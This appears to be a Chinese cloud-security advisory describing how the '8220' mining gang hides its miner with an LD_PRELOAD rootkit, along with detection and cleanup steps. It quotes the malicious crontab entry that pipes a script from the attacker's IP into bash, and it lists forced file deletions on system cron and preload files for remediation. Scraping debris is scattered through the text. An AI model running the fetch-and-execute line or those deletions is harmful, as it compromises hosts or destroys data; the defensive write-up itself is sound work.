近日,阿里雲安全團隊發現8220挖礦團伙爲了更持久的駐留主機以得到最大收益,開始使用rootkit技術來進行自我隱藏。這類隱藏技術的使用在watchdogs等挖礦蠕蟲使用後開始出現逐漸擴散和進化的趨勢,此後預計主機側的隱藏和對抗將成爲主流。html
阿里雲安全團隊蠕蟲監控平臺發現8220挖礦團伙的下載腳本出現更新,除了下載必要的駐留腳本、挖礦程序以外,新增長了一個 so文件的下載地址:http://107.174.47.156/1.so。git
8220挖礦團伙是一個長期活躍的利用多個漏洞進行攻擊和部署挖礦程序的國內團伙[1-2],該團伙組合利用WebLogic XMLDecoder 反序列化漏洞(CVE-2017-10271)、Drupal RCE(CVE-2018-7600)、JBoss 反序列化命令執行漏洞(CVE-2017-12149)等多個漏洞進行攻擊並部署挖礦程序進行牟利。github
經過對相關腳本和該so的簡單分析,咱們確認8220團伙已經在其攻擊工具包使用ProcessHider[3]對自身進行隱藏。ProcessHider是被衆多惡意軟件普遍利用的rootkit。挖礦蠕蟲利用該工具使管理員難以經過常規手段檢測到挖礦進程,從而提升挖礦進程的存活時間以最大化挖礦收益。隨着時間的推移,可能會有愈來愈多的挖礦蠕蟲加入rootkit功能。apache
若是在雲控制檯看到明顯的CPU 上升,機器總體性能卡頓,可是登陸機器使用 PS/TOP 等命令卻沒法定位到具體佔用CPU的進程,此時該機器就極可能已經感染此類使用 rootkit 進行隱藏的挖礦蠕蟲。安全
該蠕蟲利用LD_PRELOAD機制,使得自身的so文件先於系統加載,並經過劫持 readdir函數,使依賴該 API 返回的PS/TOP等系統命令沒法正確返回結果 。 所以用戶使用這些受影響的系統命令將沒法看到真實的進程。bash
如上圖所示,該蠕蟲隱藏的進程關鍵字是kworkerds。網絡
在主機側可使用如下命令對蠕蟲進行檢測ssh
查看動態連接庫
#ldd /bin/top|grep usr
/usr/local/lib/libkk.so (0x00007f0f94026000)
發現存在異常的so文件
查看 PRE_LOAD系統變量
#cat /etc/ld.so.preload
/usr/local/lib/libkk.so
發現preload文件被修改
查看 crontab
#crontab -l
*/30 * * * * (curl -s http://107.174.47.156/mr.sh||wget -q -O - http://107.174.47.156/mr.sh)|bash -sh
發現crontab出現奇怪的定時任務複製代碼
使用普通top 查看到的進程:curl
LD_PRELOAD依賴於動態連接過程,所以使用靜態編譯的busybox執行top命令,將能夠看到真實的所有進程。ide
隨着對抗的不斷升級,挖礦蠕蟲的自我隱藏功能必將不斷升級,而面對全副武裝的蠕蟲病毒,普通用戶在主機側與其進行強對抗成本極高而且收益較低。針對該類蠕蟲經過網絡側的NTA(Network Traffic Analysis)功能進行檢測更加有效。由於不管攻擊者在主機側採用了何種隱藏手法,但其遠程下載、C&C通訊、礦池通訊等行爲均會在網絡流量中留下痕跡。
下圖是在網絡側雲防火牆經過檢測到主機感染後下載後門文件的行爲發現該蠕蟲的記錄。
1.因爲本地命令可能都已被劫持,所以首先下載靜態編譯的busybox來執行指令,保證執行的系統命令不受劫持影響。
下載二進制
#wget https://www.busybox.net/downloads/binaries/1.27.1-i686/busybox
賦予執行權限
#chmod +x busybox複製代碼
2.清理動態劫持
./busybox rm -f /usr/local/lib/libkk.so 2>/dev/null
./busybox chattr -i /etc/ld.so.preload 2>/dev/null
./busybox chattr -i /usr/local/lib/libkk.so 2>/dev/null
./busybox rm -f /etc/ld.so.preload
./busybox touch /etc/ld.so.preload
./busybox chattr +i /etc/ld.so.preload
ldconfig複製代碼
3.殺惡意進程和相關文件
./busybox ps -ef | ./busybox grep -v grep | ./busybox egrep 'kworkerds' | ./busybox awk '{print $1}' |./busybox sed "s/root//g" | ./busybox xargs kill -9 2>/dev/null
./busybox ps -ef | ./busybox grep -v grep | ./busybox egrep '107.174.47.156' | ./busybox awk '{print $1}' |./busybox sed "s/root//g" | ./busybox xargs kill -9 2>/dev/null
./busybox rm -f /var/tmp/kworkerds
./busybox rm -f /var/tmp/sustse*複製代碼
4.修復 crontab
./busybox chattr -i /etc/cron.d/root 2>/dev/null
./busybox rm -f /etc/cron.d/root
./busybox chattr -i /etc/cron.d/apache 2>/dev/null
./busybox rm -f /var/spool/cron/apache
./busybox chattr -i /var/spool/cron/root 2>/dev/null
./busybox rm -f /var/spool/cron/root
./busybox chattr -i /var/spool/cron/crontabs/root 2>/dev/null
./busybox rm -f /var/spool/cron/crontabs/root
./busybox rm -rf /var/spool/cron/crontabs
./busybox touch /var/spool/cron/root
./busybox chattr +i /var/spool/cron/root複製代碼
5.再次修復下 crontab,回到第3步再次執行
6..修復完成和重啓crontab
service crond start複製代碼
1.疑似國內來源的「8220挖礦團伙」追蹤溯源分析 [www.freebuf.com/column/1799…
2.「8220團伙」最新活動分析:挖礦木馬與勒索病毒共舞 [www.freebuf.com/column/1864…
本文做者:雲安全專家
本文爲雲棲社區原創內容,未經容許不得轉載。